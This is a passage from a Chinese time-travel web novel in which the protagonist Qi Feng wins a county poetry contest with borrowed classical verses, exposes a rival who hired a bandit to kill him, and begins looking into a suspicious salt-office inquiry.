吴胖子摇摇头:“还没查到,不过他说盐课司的刘书吏今早也来了诗会,就坐在赵大人旁边。”
齐枫若有所思地点点头。
“走吧。”齐枫率先迈步,“好戏要开场了。”
文庙高大的门楼已近在眼前,朱红大门敞开,两侧站着身着统一服饰的书院学子。
门前人头攒动,有持请柬入内的宾客,也有围观看热闹的百姓。
齐枫整了整衣襟,嘴角勾起一抹自信的笑容,大步迈入!
文庙前的广场上人头攒动,各色华服在阳光下熠熠生辉。
齐枫一行人刚踏入大门,就被扑面而来的喧嚣声包围。
“齐哥,你看那边!”吴胖子扯了扯齐枫的袖子,指向不远处一个临时搭建的摊位,“居然有人在卖文房四宝!”
齐枫顺着望去,只见几个商贩正在兜售笔墨纸砚,甚至还有现成的诗册。
摊位前围满了身着儒衫的学子,争相购买。
“呵,倒是有生意头脑。”齐枫轻笑一声,“知道趁着诗会捞一笔。”
小荷踮起脚尖张望:“少爷,要不要也去买些纸笔?”
“不必。”齐枫从袖中取出一个精致的檀木盒,“我早有准备。”
楚清秋的目光却一直警惕地扫视着四周:“少爷,张韬在东南角。”
齐枫不动声色地瞥了一眼,果然看见张韬正与几个青川书院的学子站在一起,脸上带着阴冷的笑容。
“走,去会会他。”齐枫折扇一展,大步流星地朝那个方向走去。
张韬正低声与身旁人说着什么,突然感觉周围安静下来。
抬头一看,齐枫已经站在了他面前三步远的地方,脸上挂着似笑非笑的表情。
“哟,这不是张二少爷吗?”齐枫的声音不大不小,刚好能让周围人都听见,“怎么,今日也来附庸风雅?”
张韬脸色一沉,但很快又挤出一丝冷笑:“齐枫,别以为在书山书院出了点风头就了不起了,今日青川书院的才子们会让你知道什么叫天外有天!”
“是吗?”齐枫故作惊讶地挑眉,“可我听说张二少爷连天地玄黄都背不全,怎么突然对诗词这么感兴趣了?”
周围响起一阵低低的哄笑。
张韬的脸瞬间涨得通红,拳头捏得咯咯作响。
“你!”他咬牙切齿道,“别以为上次侥幸赢了就能嚣张!今日诗会,我定要让你颜面扫地!”
齐枫不慌不忙地摇了摇折扇:“张二少爷,说到颜面扫地我记得某人好像还欠我一场女装游街呢?”
这话一出,周围的笑声更大了。
张韬的脸色由红转青,又由青转白,精彩至极。
“你,你!”他气得浑身发抖,却说不出反驳的话来。
“张兄,何必与这种人一般见识。”一个清朗的声音从旁边传来。
齐枫转头,看见一个身着月白色长袍的年轻男子走了过来。
此人面容俊秀,眉目如画,举手投足间自带一股书卷气。
“柳公子!”张韬如见救星,连忙迎上去,“您来得正好,这就是我方才跟您提起的那个狂妄之徒。”
柳明轩淡淡地扫了齐枫一眼,眼中闪过一丝轻蔑:“原来就是你在大放厥词,说什么‘春风十里不如你’不过是小儿涂鸦?”
齐枫心中一动,看来这位就是那位名动府城的柳公子了。
他故作惊讶地看向柳明轩:“这位兄台误会了,我原话是‘春风十里不如你’这句诗写得不错,就是太过直白,少了些意境。”
柳明轩脸色微变,显然没料到齐枫会如此回应。
“好一张利嘴。”他冷笑一声,“就是不知道肚子里有多少真才实学。今日诗会,柳某倒要领教领教。”
“荣幸之至。”齐枫微微拱手,脸上依然挂着从容的笑容。
张韬见两人针锋相对,眼中闪过一丝得意。
他凑到柳明轩耳边低
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语几句,后者点点头,看向齐枫的眼神更加轻蔑了。
“原来如此。”柳明轩轻哼一声,“一个靠投机取巧赢了赌局的纨绔子弟,也配谈诗论文?”
齐枫不恼不怒,反而笑得更加灿烂:“柳公子此言差矣。诗词之道,贵在真性情。若只知拾人牙慧,纵然辞藻华丽,也不过是鹦鹉学舌罢了。”
“你!”柳明轩被这话激得脸色一变,正要发作,却被一阵钟声打断。
“铛!铛!”
浑厚的钟声响彻文庙,众人纷纷抬头望向高台。
“诸位请安静!”一个洪亮的声音从台上传来,“诗会即将开始,请各位入座!”
齐枫抬头望去,只见高台上已经坐满了人。
正中是一位身着官服的中年男子,想必就是知府赵明德了。
他左侧坐着青川书院的两位山长李墨阳和赵明诚,右侧则是书山书院的周文翰。
再往两旁,依次是青田县令王猛,张家家主**然,齐震天,赵家家主赵集等一众本地权贵。
齐震天正襟危坐,目光却不时扫向台下,显然是在寻找儿子的身影。
当看到齐枫与柳明轩对峙时,眉头不自觉地皱了起来。
“枫儿又在惹事。”他低声嘀咕。
锦娘轻轻拍了拍他的手:“老爷别担心,枫儿有分寸的。”
台上,一位身着儒衫的老者走到中央,清了清嗓子:“诸位才子佳人,今日青田县文庙诗会,有幸邀请到知府赵大人,县令王大人等贵宾莅临!”
齐枫的注意力却不在台上。
他敏锐地注意到,张韬趁众人注意力被吸引时,悄悄退出了人群,向文庙后门方向溜去。
“青禾。”齐枫低声唤道,“跟上去看看,但别打草惊蛇。”
楚清秋微不可察地点点头,身影如鬼魅般消失在人群中。
“本次诗会分为三轮比试。”台上老者的声音继续传来,“第一轮为命题作诗,由知府大人出题;第二轮为对联比拼,第三轮为自由发挥,可作诗,词,赋任选其一。”
第二十五章 强强对决
吴胖子紧张地擦了擦汗:“齐哥,这规则听起来好难啊!”
“怕什么。”齐枫拍拍他的肩膀,“就当是玩个游戏。”
台上老者环视一周,声音陡然提高:“现在,我宣布,青田县文庙诗会,正式开始!”
“咚!”一声锣响,全场掌声雷动。
齐枫的目光却越过欢呼的人群,望向文庙后门的方向。
张韬鬼鬼祟祟地穿过回廊,来到一处僻静的角落。
陈三早已等候多时,见他到来,不耐烦地哼了一声。
“怎么才来?老子腿都站麻了!”
张韬擦了擦额头的汗:“那齐枫牙尖嘴利,差点当众让我下不来台!”
陈三狞笑一声,脸上的刀疤在阴影中显得格外狰狞:“放心,待会就让他永远闭嘴。”
他拍了拍腰间,“家伙都准备好了。”
张韬眼中闪过一丝狠毒:“记住,一定要在诗会进行到最热闹的时候动手。那时候所有人的注意力都在台上,没人会注意到角落里发生了什么。”
“啰嗦!”陈三不耐烦地挥挥手,“老子干这行十几年,还用你教?”
张韬正要再叮嘱几句,突然感觉后颈一凉,似乎有一道目光正盯着自己。
他猛地回头,却只看到空荡荡的回廊。
“怎么了?”陈三皱眉问道。
“没,没什么。”张韬摇摇头,压下心头的不安,“可能是错觉。”
不远处的一根廊柱后,楚清秋屏息凝神,将两人的对话一字不落地听在耳中。
她眼中寒光一闪,悄无声息地退去。
诗会现场,第一轮比试已经开始。
知府赵明德出的题目是“春江花月夜”,要求在一炷香内完成一首七言律诗。
齐枫坐在书案前,看似在凝神构思,实则余光一直注意着楚清秋离去的方向。
见她回来,微微侧头。
“如何?”
楚清秋俯身在他耳边低语几句。
齐枫眼中闪过一丝冷意,但很快又恢复了平静。
“果然如此。”他轻声道,“按计划行事。”
楚清秋点点头,再次悄然退开。
齐枫提笔蘸墨,在宣纸上龙飞凤舞地写了起来。
他看似专注,实则耳朵一直竖着,留意着周围的动静。
香已燃过半,大部分学子都在埋头苦思。
柳明轩却已经搁笔,脸上带着自信的笑容,不时瞥向齐枫这边,眼中满是挑衅。
齐枫对他的目光视若无睹,继续不紧不慢地写着。
直到香快要燃尽,他才放下笔,轻轻吹干墨迹。
“时间到!”主持人高声宣布,“请各位停笔。现在,有请青川书院的柳明轩公子率先展示他的作品!”
柳明轩傲然起身,手持诗笺走到台前。
他清了清嗓子,用抑扬顿挫的声调朗诵起来:
“春江潮水连海平,海上明月共潮生。滟滟随波千**,何处春江无月明!”
诗确实写得不错,辞藻华丽,意境优美。
朗诵完毕,台下响起热烈的掌声。
知府赵明德也频频点头,显然十分欣赏。
至于李墨阳和赵明诚则是挑衅的看了周文翰一眼。
“接下来,有请书山书院的齐枫公子!”主持人高声道。
齐枫从容起身,缓步上台。
他展开手中诗笺,目光却不着痕迹地扫过台下某个角落。
楚清秋正对他微微点头。
“江畔何人初见月?江月何年初照人?人生代代无穷已,江月年年望相似!”
他的声音清朗悦耳,诗句却与柳明轩的华丽风格截然不同,更加空灵悠远,还带着一种哲思。
朗诵完毕,现场先是一静,随即爆发出更加热烈的掌声。
就连一直板着脸的李墨阳和一脸不屑的赵明诚也不由自主地点了点头。
知府赵明德更是眼前一亮,转头对周文翰道:“周山长,这位齐公子倒是真有些才学。”
说着,他看了李墨阳和赵明诚一眼,心想这齐枫也不像两人说的那样啊。
周文翰抚须微笑:“赵大人过奖了。齐枫虽然年轻,但在诗词上确实有些天赋。”
台下,柳明轩的脸色却变得难看起来。
他没想到这个被他视为纨绔子弟的齐枫,竟能写出如此佳作。
第一轮比试结束,评委们开始评议。
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趁这个空档,齐枫借口如厕,悄然离席。
他刚走到一处僻静的回廊,楚清秋就从阴影中闪出:“少爷,都安排好了,吴少爷已经带着府里的护卫埋伏在后院,就等陈三现身。”
齐枫点点头:“张韬呢?”
“还在席上,应该是为了制造不在场证明。”
“聪明。”齐枫冷笑一声,“可惜聪明反被聪明误。”
两人正说着,突然听到不远处传来一阵脚步声。
齐枫迅速拉着楚清秋躲到一根粗大的廊柱后面。
来人是两个身着青川书院服饰的学子,正低声交谈着。
“柳师兄这次怕是遇到对手了。”
“哼,那齐枫不过是运气好罢了。第二轮对联比拼才是柳师兄的强项!”
“可我听说那齐枫在书山书院……”
声音渐渐远去。
齐枫和楚清秋从藏身处出来,对视一眼。
“回去吧。”齐枫整了整衣襟,“第二轮好戏要开场了。”
当齐枫重新入席时,第一轮的结果已经出来。
出乎所有人意料,齐枫和柳明轩并列第一。
柳明轩的脸色阴晴不定,显然对这个结果很不满意。
张韬则在一旁低声安慰着什么。
主持人走到台前:“接下来进行第二轮比试,对联比拼!规则是由一方出上联,另一方对下联。对仗工整,意境相符者胜出。”
他环视一周:“由于第一轮齐公子与柳公子并列第一,这第二轮就由二位一较高下如何?”
全场顿时安静下来,所有人都屏息以待这场龙争虎斗。
柳明轩傲然起身:“柳某愿领教齐公子高才!”
齐枫不慌不忙地站起,拱手一礼:“柳公子请。”
柳明轩眼中闪过一丝算计的光芒:“那我就不客气了。”
他略一沉吟,高声道:
“水底月如天上月!”
此联一出,满座哗然。
这上联看似简单,实则暗藏玄机。
“水底月”是天上月的倒影,要对出下联,不仅要对仗工整,还要符合这种镜像关系。
所有人的目光都集中到齐枫身上,想看他如何应对。
第二十六章 有刺客!
齐枫不慌不忙,微微一笑,朗声对道:
“眼中人是面前人!”
全场先是一静,随即爆发出雷鸣般的掌声。
这下联不仅对仗工整,意境也完美契合,甚至暗含一丝哲理。
知府赵明德忍不住拍案叫绝:“妙!妙对!”
李墨阳和赵明诚更是不可置信地对视一眼。
柳明轩脸色微变,显然没料到齐枫能对得如此精妙。
他咬了咬牙,沉声道:“再来!”
他踱了两步,突然眼中精光一闪:
“北斗七星,水底连天十四点!”
这上联更加刁钻,将北斗七星在水中的倒影也计算在内,形成“十四点”的巧妙数字。
齐枫略一思索,嘴角微扬:
“南楼孤雁,月中带影一**!”
“好!”周文翰忍不住站起身,激动得胡须直颤。
这下联以“一**”对“十四点”,不仅数字对仗巧妙,意境更是悠远动人。
柳明轩的脸色已经变得铁青。
他深吸一口气,抛出了最后一联:
“望江楼,望江流,望江楼上望江流,江楼千古,江流千古!”
这是一副流传已久的绝对,数百年来无人能对出完美的下联。
柳明轩此时抛出此联,显然是黔驴技穷,想用这种方式难住齐枫。
全场鸦雀无声,所有人都屏住呼吸,等待齐枫的反应。
齐枫眉头微皱,看似在苦思冥想,实则他早已成竹在胸,只是故意拖延时间,给楚清秋那边创造机会。
片刻后,他抬起头,眼中闪过一丝笑意:
“印月井,印月影,印月井中印月影,月井万年,月影万年!”
此联一出,满座皆惊。
知府赵明德直接从座位上站了起来,激动得声音都变了调:“千古绝对,今日得解!周山长,你这学生了不得啊!”
李墨阳和赵明诚也坐不住了,纷纷起身,看着齐枫就像是见了鬼一样。
柳明轩面如死灰,踉跄后退两步,差点跌坐在地。
他引以为傲的才学,在齐枫面前竟如此不堪一击。
就在全场为齐枫的精彩表现欢呼时,文庙后院突然传来一阵嘈杂声。
“抓贼啊!”
“有刺客!”
“快拦住他!”
混乱的喊叫声打破了诗会的和谐氛围。
知府赵明德脸色一变:“怎么回事?”
几个衙役慌慌张张地跑进来:“大人!后院抓到一个持刀的歹徒,正要行凶时被我们发现了!”
“什么?”赵明德大怒,“带上来!”
不多时,五花大绑的陈三被押了上来。
他满脸是血,显然经过了一番搏斗。
吴胖子和几个齐府护卫跟在后面,押着另外两个喽啰。
张韬看到陈三,脸色瞬间变得惨白,手中的折扇“啪嗒”一声掉在地上。
齐枫冷眼旁观,嘴角勾起一抹不易察觉的冷笑。
“跪下!”衙役一脚踹在陈三腿弯处,刀疤脸汉子闷哼一声,重重跪在了青石板上。
知府赵明德眯起眼睛,目光如刀般扫过陈三那张狰狞的脸:“你是何人?为何擅闯文庙行凶?”
陈三啐出一口血沫,狞笑道:“老子行不更名坐不改姓,黑风寨陈三是也!今日栽在你们手里,要杀要剐悉听尊便!”
“黑风寨?!”
这三个字一出,全场哗然。
青田县令王猛脸色骤变,手中的茶盏“啪”地摔碎在地上。
黑风寨盘踞青龙山多年,烧杀抢掠无恶不作,官府数次围剿都无功而返。
赵明德脸色阴沉如水:“好个猖狂的匪类!来人啊,先打三十大板,再押回府衙严加审讯!”
“且慢!”齐枫突然上前一步,拱手行礼,“赵大人,学生有一事不明。”
赵明德见是方才大放异彩的齐枫,脸色稍缓:“齐公子请讲。”
齐枫目光扫过面如土色的张韬,嘴角微扬:“这陈三既是黑风寨匪首,为何会出现在文庙诗会?又为何偏偏选在今日要对人行凶?学生怀疑是否有人**,而那人就在其中!会是谁呢……”
“你血口喷人!”张韬突然跳起来,破口大骂,“我根本不认识这人!”
他这一嗓子喊得突兀,反倒引得众人侧目。
赵明德眼中精光一闪:“张公子,本官还未问到你,何必急着
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撇清?”
张韬这才意识到自己失态,冷汗瞬间浸透了后背。
**然狠狠瞪了他一眼,起身拱手:“赵大人明鉴,小儿年轻气盛,见不得匪类猖獗,一时失态。”
“张老爷。”齐枫不紧不慢地打断他,“令郎与这陈三是否相识,一问便知。”
他转向陈三:“陈三!你可认识张家二少爷?”
陈三阴鸷的目光在张韬脸上扫过,突然咧嘴一笑:“认识又如何?不认识又如何?”
“大胆!”赵明德拍案而起,“在本官面前还敢耍滑头!来人,先给他二十板子尝尝!”
衙役们立刻将陈三按倒在地,水火棍高高举起。
眼看就要打下去,陈三突然大喊:“慢着!我说!是张二少爷花五百两银子雇我来杀齐枫的!”
全场瞬间寂静得落针可闻。
张韬双腿一软,直接瘫坐在地。
**然脸色铁青,猛地转身一巴掌扇在儿子脸上:“孽障!”
这一巴掌打得极重,张韬半边脸立刻肿了起来,嘴角渗出血丝。
他捂着脸,眼中满是惊恐:“爹,我……”
“闭嘴!”**然厉声喝止,转身向赵明德深深一揖,“赵大人,犬子年轻不懂事,定是受人蛊惑。”
齐枫冷笑一声:“是吗?那这封他与陈三暗中串通的信又如何解释?”
“不,不可能!我从未写过什么信!”张韬大吼一声。
齐枫将信呈给赵明德:“大人明鉴,此信上面不仅有张二少爷的私印,还有他亲笔签名。”
赵明德接过信仔细查看,脸色越来越难看:“**然,你还有何话说?”
**然面如死灰,突然转身又是一脚踹在张韬身上:“孽障!为了私怨竟敢勾结匪类!我张家没有你这样的不肖子孙!”
他这一脚极重,张韬直接被踹得口吐鲜血。
在场众人无不色变,却无人敢上前劝阻。
“赵大人!”**然突然跪倒在地,“犬子犯下大错,张某不敢包庇,但求大人看在张家世代良民的份上,容我带这孽畜回家,定会严加管教!”
赵明德眉头紧锁,显然在权衡利弊。
第二十七章 何似在人间
齐枫冷眼旁观,心知肚明。
张家在青田县根深蒂固,若真闹到不可收拾的地步,对谁都没好处。
“赵大人。”齐枫突然开口,“学生以为,张二少爷年轻气盛,一时糊涂也是有的,既然学生无恙,不如……”
他故意欲言又止。
赵明德何等精明,立刻明白了他的弦外之音。
这是要给双方一个台阶下。
“也罢。”赵明德沉吟片刻,“看在张老爷面上,本官姑且饶他一命。但死罪可免,活罪难逃!张韬勾结匪类,杖责五十,罚银五千两充公!张老爷管教不严,罚银三千两!至于这陈三……”
他眼中寒光一闪,“押回府衙,秋后问斩!”
**然如蒙大赦,连连叩首:“谢大人开恩!谢大人开恩!”
张韬却已经吓瘫在地,裤裆湿了一片。
两个衙役上前拖死狗般将他拖了出去,不多时,外面传来撕心裂肺的惨叫声和板子着肉的闷响。
齐枫冷眼看着这一切,心中毫无怜悯。
若非他早有准备,今日横尸当场的恐怕就是自己了!
“齐公子。”赵明德突然开口,语气和缓了许多,“今日之事,让你受惊了。”
齐枫连忙行礼:“学生无恙,多谢大人主持公道。”
赵明德满意地点点头,转向周文翰:“周山长,你这学生不仅才学过人,心胸也宽广,难得啊!”
周文翰抚须微笑:“赵大人过奖了。齐枫虽然年轻,但确实是个可造之材。”
一旁的李墨阳和赵明诚对视一眼,脸色阴晴不定,显然没料到事情会发展到这一步。
他们两个精心策划的诗会,本想借机打压书山书院,却不料成全了齐枫。
这是搬起石头砸自己的脚?
“诗会继续!”赵明德高声道,“方才的对联比试,齐公子胜出。接下来进行第三轮,自由发挥!”
随着知府一声令下,现场气氛重新活跃起来,方才的插曲仿佛只是一段不和谐的小插曲,很快被人抛在脑后。
柳明轩脸色苍白地站在一旁,早已没了先前的傲气。
他引以为豪的才学,在齐枫面前不堪一击,而他暗中支持的张韬,更是身败名裂。
“柳公子。”齐枫走到他面前,微微一笑,“该我们了。”
柳明轩咬了咬牙:“齐公子才学过人,柳某甘拜下风。”
这话一出,全场哗然。
堂堂青川书院第一才子,竟然不战而降!
齐枫却不依不饶:“柳公子何必谦虚?方才两轮比试,你我各胜一场。这第三轮,正好一决高下。”
他这话说得漂亮,既给了柳明轩台阶下,又显得自己大度。
柳明轩骑虎难下,只得硬着头皮应战。
“既,既然如此,柳某献丑了。”
他走到书案前,提笔蘸墨,沉吟良久才落笔。
一炷香后,一首《临江仙》跃然纸上:
“梦后楼台高锁,酒醒帘幕低垂。去年春恨却来时,落花人独立,微雨燕**!”
词确实写得婉约动人,赢得满堂喝彩。
柳明轩脸色稍缓,似乎找回了一些自信。
轮到齐枫时,他不慌不忙地走到案前,却没有立即动笔。
而是抬头望向远处的青山,眼中闪过一丝追忆。
片刻后,他提笔挥毫,笔走龙蛇:
“明月几时有?把酒问青天。不知天上宫阙,今夕是何年……”
“我欲乘风归去,又恐琼楼玉宇,高处不胜寒,起舞弄清影,何似在人间……”
当齐枫最后一个字音落下,整个文庙陷入一片寂静。
知府赵明德手中的茶盏悬在半空,竟忘了放下。
周文翰山长抚须的手停在半途,眼中闪烁着难以置信的光芒。
李墨阳和赵明诚原本靠在椅背上,此刻却不知不觉直起了身子。
李墨阳眯起眼睛,目光如刀般审视着台上的年轻人。
就在半个时辰前,这位青川书院山长还对着身旁的赵明诚冷笑,说齐枫不过是个投机取巧的纨绔,也敢在诗会上卖弄?
他记得清清楚楚,半月前在书山书院那场比赛,这个叫齐枫的小子是如何让他颜面扫地的。
当时他只当是周文翰暗中指点,让这
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纨绔背了些刁钻的论点。
可今日这首词!
“转朱阁,低绮户,照无眠……”李墨阳不自觉地低声吟诵,手指在案几上轻轻叩击着节奏。
这三句看似平淡,却将月光流转、思绪万千的意境刻画得入木三分。
这样的笔力,绝不是靠死记硬背能得来的。
“李山长和赵山长觉得如何?”周文翰不知何时凑了过来,眼中带着促狭的笑意。
李墨阳冷哼一声:“词是好词,就是不知道是不是抄来的。”
赵明诚更是别过头去:“不错,此词说不定是哪个名家写出来的,被这小子剽窃而来!”
话虽这么说,他的手却不由自主地拿起案上的诗笺,细细端详那笔走龙蛇的字迹。
字如其人,这笔字潇洒中透着沉稳,锋芒内敛却力透纸背,分明是经过多年苦练的。
台下的学子们终于从震撼中回过神来,爆发出雷鸣般的掌声。
柳明轩脸色苍白,手中的诗笺被捏得皱皱巴巴。
他求助般地望向自己的恩师,却见李墨阳正目不转睛地盯着齐枫,眼中闪烁着复杂的光芒。
“肃静!”主持人高声喊道,“请诸位大人评议。”
此话一出,全场寂静。
评议席上,几位评委交头接耳。
李墨阳突然起身,大步走到齐枫面前:“齐公子,老夫且问你,人有悲欢离合这一句,你是如何想到用这样平淡的语句来表达如此深邃的感悟?”
全场顿时安静下来。
所有人都屏住呼吸,等着看这个向来严苛的山长要如何刁难齐枫。
齐枫不慌不忙,拱手一礼:“回山长,学生只是觉得,世间至理往往就藏在最平常的话语中。就像山长常教导的大道至简。”
这个回答既谦逊,又暗含机锋。
李墨阳眼中精光一闪,突然仰天大笑:“好!好一个大道至简!”
他转身面向评议席,声音洪亮:“诸位,老夫执教三十余载,见过的才子如过江之鲫,但今日这首《水调歌头》,当得起千古绝唱四字!”
这话一出,满座哗然。
第二十八章 大道至简
能得到李墨阳如此评价,在江南文坛还是头一遭。
周文翰笑得眼睛都眯成了一条缝,看向赵明诚,赵明诚半晌也只说了一句:“姓周的,你也算是收了个好弟子。”
柳明轩则面如死灰,踉跄后退了两步,知道自己输得一败涂地。
不是输在技巧,而是输在境界。
齐枫的词中那种超然物外的气度,是他永远无法企及的!
赵明德拍案而起:“经诸位大人一致评定,本次诗会魁首为,书山书院齐枫公子!”
赵明德亲自将那册珍贵的《淳化阁帖》摹本赐予他。
“齐公子。”赵明德意味深长地道:“以你的才学,明年春闱必能高中。本官在府城等你。”
这话无异于公开表态支持,在场众人无不艳羡。
齐震天激动得老泪纵横,连连向周文翰道谢。
诗会散场时,夕阳已经西沉。
齐枫在众人的簇拥下走出文庙,脸上始终挂着谦逊的笑容。
“少爷。”楚清秋悄无声息地出现在他身侧,“陈三已经押往府城,吴少爷派人盯着呢。”
齐枫微微点头:“张韬呢?”
“挨了五十板子,被张家抬回去了。听说伤势不轻,没个把月下不了床。”
齐枫冷笑一声:“便宜他了。”
小荷蹦蹦跳跳地凑过来:“少爷!您今天太厉害了!那首词写得真好,连知府大人都夸呢!”
齐枫揉了揉她的脑袋:“走吧,回家。”
一行人刚走出不远,一个熟悉的身影拦住了去路。
是柳明轩。
“齐公子。”柳明轩深深一揖,“今日得见高才,柳某心服口服。先前多有得罪,还望海涵。”
齐枫有些意外,但很快释然。
这柳明轩虽然傲气,倒也是个真性情的人。
“柳公子客气了。”他还了一礼,“诗词小道,不足挂齿。柳公子才华横溢,他日必成大器。”
柳明轩眼中闪过一丝感激:“齐公子胸襟宽广,柳某惭愧。他日若有机会,定当再向齐公子请教。”
两人相视一笑,前嫌尽释。
回府的路上,齐枫望着天边的晚霞,心中感慨万千。
今日一战,不仅挫败了张韬的阴谋,更在知府面前留下了好印象。
最重要的是,那首《水调歌头》必将传遍士林,为他赢得名声!
虽然不是他自己所作,但也不至于让这千古名作埋没了不是。
“少爷在想什么?”楚清秋轻声问。
齐枫收回目光,嘴角微扬:“在想春闱的事。”
楚清秋眼中闪过一丝讶异:“少爷真要参加科举?”
“为什么不呢?”齐枫笑道,“既然要玩,就玩个大的。”
小荷听不懂他们在说什么,但看到少爷开心的样子,也跟着傻笑起来。
等齐枫回家的时候已经是傍晚了,齐府上下张灯结彩,数十盏大红灯笼将整个前院映照得如同白昼。
齐枫刚踏进大门,就被扑面而来的喧嚣声震得耳膜发胀。
“少爷回来了!”小厮们奔走相告,声音里满是兴奋。
齐震天一身崭新的绛紫色锦袍,正站在台阶上指挥下人布置宴席。
见儿子进门,三步并作两步迎上来,一把抓住齐枫的肩膀:“好小子!给爹长脸了!”
老爷子眼眶泛红,声音都有些发颤:“知府大人亲自夸赞!这可是咱们齐家祖坟冒青烟了!”
齐枫被父亲这罕见的热情弄得有些不知所措,只得干笑两声:“爹,您轻点,肩膀要断了。”
“哈哈哈!”齐震天大笑,转头对管家喊道,“老王!去把我珍藏的那坛三十年女儿红搬出来!今晚不醉不归!”
锦娘从内院款款走出,一袭湖蓝色长裙衬得她越发温婉:“老爷,您先让枫儿歇歇。他今日在诗会上耗费心神,想必累了。”
“对对对!”齐震天这才松开手,却仍忍不住拍着儿子的后背,“快去换身衣裳,待会儿宾客就到!”
齐枫回到自己院子,小荷早已备好热水。
楚清秋站在一旁,手里捧着套崭新的月白色长衫。
“少爷,这是老爷特意命人赶制的。”
她展开长衫,袖口和衣襟处都用银线绣着精致的云纹,说不出来的气派。
“说
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是要您穿着它见客。”
齐枫接过衣服,指尖抚过那些细密的针脚,心头微暖。
前身那个纨绔子弟,何曾让父亲这般重视?
他前世医武双绝,可从小就没有体会过亲情,如今穿越,却又多了几分不一样的体验。
“青禾,”他突然问道,“你觉得我该去参加春闱吗?”
楚清秋正在整理腰带的手微微一顿:“少爷不是已经决定好了吗?为何突然又这么问?”
“就是觉得……”齐枫望向窗外渐暗的天色,“这条路一旦踏上,就再难回头了。”
楚清秋沉默片刻,轻声道:“少爷天纵奇才,无论走哪条路,都会光芒万丈。”
齐枫失笑:“你倒是会说话。”
“奴婢只是实话实说。”楚清秋将腰带递给他,“今日那首《水调歌头》,奴婢虽不懂诗词,也能听出其中不凡。”
齐枫系好腰带,对着铜镜整了整衣冠:“走吧,别让宾客等急了。”
前院已经热闹非凡。
齐枫刚踏入宴客厅,就听见一阵热烈的掌声。
“我们的诗魁来了!”吴胖子的声音格外响亮。
厅内数十道目光齐刷刷投来,齐枫面不改色,拱手向众人行礼。
“齐公子今日大放异彩,为我青田县争光啊!”县令王猛端着酒杯走过来,脸上堆满笑容。
这位平日里高高在上的父母官,此刻竟主动向一个白身学子敬酒,看得周围宾客暗暗咋舌。
“王大人过奖了。”齐枫恭敬地接过酒杯,一饮而尽。
“好!爽快!”王猛大笑,拍了拍齐枫的肩膀,“本官已经命人将齐公子的佳作抄录下来,不日将呈送府学,让更多学子瞻仰学习!”
齐震天在一旁听得眉开眼笑,连忙招呼下人给县令斟酒。
“齐老爷好福气啊!”徐家家主赵集端着酒杯走过来,脸上带着意味深长的笑容,“令郎如此才华横溢,将来必成大器。”
齐枫敏锐地注意到,赵集说这话时,目光却不时瞟向厅角几个身着青川书院服饰的宾客。
其中一人正是今日诗会上败给他的柳明轩。
第二十九章 不请自来
“赵老爷谬赞了。”齐枫微微一笑,故意提高声音,“不过是侥幸罢了。若非柳公子谦让,学生哪有机会?”
这话说得漂亮,既显得谦虚,又给了柳明轩台阶下。
果然,柳明轩闻言,脸色好看了许多,遥遥举杯示意。
“齐公子不必过谦。”周文翰不知何时来到身侧,抚须笑道,“今日那首《水调歌头》,连李墨阳都赞不绝口,可见一斑。”
老山长说着,压低声音:“知府大人临行前特意嘱咐老朽,说期待在府城再见到齐公子。”
齐枫心头一动:“山长的意思是……”
“春闱前,不妨去府城走动走动。”周文翰意味深长地说,“赵大人最喜提携青年才俊。”
齐枫会意,郑重地点了点头。
宴席渐入高潮,觥筹交错间,齐枫被众人轮番敬酒,饶是他酒量不错,也有些招架不住。
“少爷,喝口茶醒醒酒。”楚清秋适时递上一盏清茶。
齐枫接过茶盏,指尖不经意触到她的手指,冰凉如玉。
他抬头看去,只见楚清秋半边完好的脸颊在灯光下泛着淡淡的红晕,竟比平日多了几分生气。
“谢谢。”他轻声道。
楚清秋微微一怔,随即低头退到一旁。
“齐公子。”一个清朗的声音传来,柳明轩不知何时站在了面前,“可否借一步说话?”
齐枫随他来到廊下。
夜风微凉,吹散了些许酒意。
“柳公子有何指教?”齐枫问道。
柳明轩深吸一口气,突然深深一揖:“其实白天的时候,我还有些话没说,今日之事,另有隐情。”
齐枫挑眉:“哦?”
“张韬前日找到我,许诺重金,要我务必在诗会上羞辱于你。”柳明轩面露愧色,“我一时鬼迷心窍……”
齐枫恍然。
“柳公子能坦诚相告,足见光明磊落。”齐枫拍拍他的肩膀,“此事就此揭过,以后不提了,如何?”
柳明轩眼中闪过一丝感激:“齐公子胸襟宽广,柳某惭愧。他日若有用得着的地方,尽管开口。”
两人相视一笑,回到宴席,齐枫发现厅内多了几个陌生面孔。
其中一人身着官服,正与齐震天低声交谈。
“那是盐课司的刘书吏。”楚清秋悄声道,“不请自来。”
齐枫眯起眼睛。
盐课司的人突然造访,绝非只是为了贺喜这么简单。
他装作不经意地靠近,只听刘书吏对齐震天说道:“那批官盐确实蹊跷,账目上明明写着三十引,可仓库里却……”
齐震天脸色微变:“刘大人,此事不是已经查明是书吏记错了吗?”
“呵呵。”刘书吏干笑两声,“齐老爷放心,下官只是例行公事,再核实一番。”
齐枫心中冷笑。
这刘书吏分明是张家派来试探的!
他正欲上前,却见刘书吏突然转身,目光如电般扫过全场,最后定格在他身上。
两人视线在空中交汇,刘书吏眼中闪过一丝诧异,随即恢复如常,微微颔首后便匆匆离去。
“少爷?”楚清秋疑惑地看着刘书吏远去的背影。
齐枫嘴角勾起一抹冷笑:“看来有人坐不住了。”
宴席持续到深夜,宾客们尽兴而归。
齐枫送走最后一位客人,长舒一口气,揉了揉发胀的太阳穴。
“枫儿。”齐震天叫住他,脸上带着罕见的慈爱,“今日为父很高兴。”
老爷子拍了拍儿子的肩膀,声音有些哽咽:“你娘若在天有灵,看到你今日这般出息,定会欣慰。”
齐枫心头一热。
穿越以来,他第一次感受到如此真切的父子之情。
“爹,我不会让齐家没落的。”他郑重承诺。
齐震天点点头,突然压低声音:“盐课司的事,你不必担心。为父自有分寸。”
齐枫一怔,随即明白父亲早已察觉异常。
“那张韬……”
“跳梁小丑罢了。”齐震天冷笑,“倒是张家背后的人,需要小心应对。”
父子二人对视一眼,心照不宣。
回到房中,齐枫刚
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脱下外袍,就听见窗外传来轻微的响动。
“谁?”他警觉地转身。
楚清秋的身影从窗外翻入,动作轻盈:“少爷,有发现。”
她摊开手掌,掌心躺着一枚小巧的铜牌,上面刻着“盐课”二字。
“刘书吏落下的?”齐枫接过铜牌,仔细端详。
“不。”楚清秋摇头,“是从一个黑衣人身上搜出来的,那人潜伏在府外多时,似乎在监视什么。”
齐枫眼神一凛:“人呢?”
“打晕了绑在后院柴房。”楚清秋眼中闪过一丝狠厉,“要审问吗?”
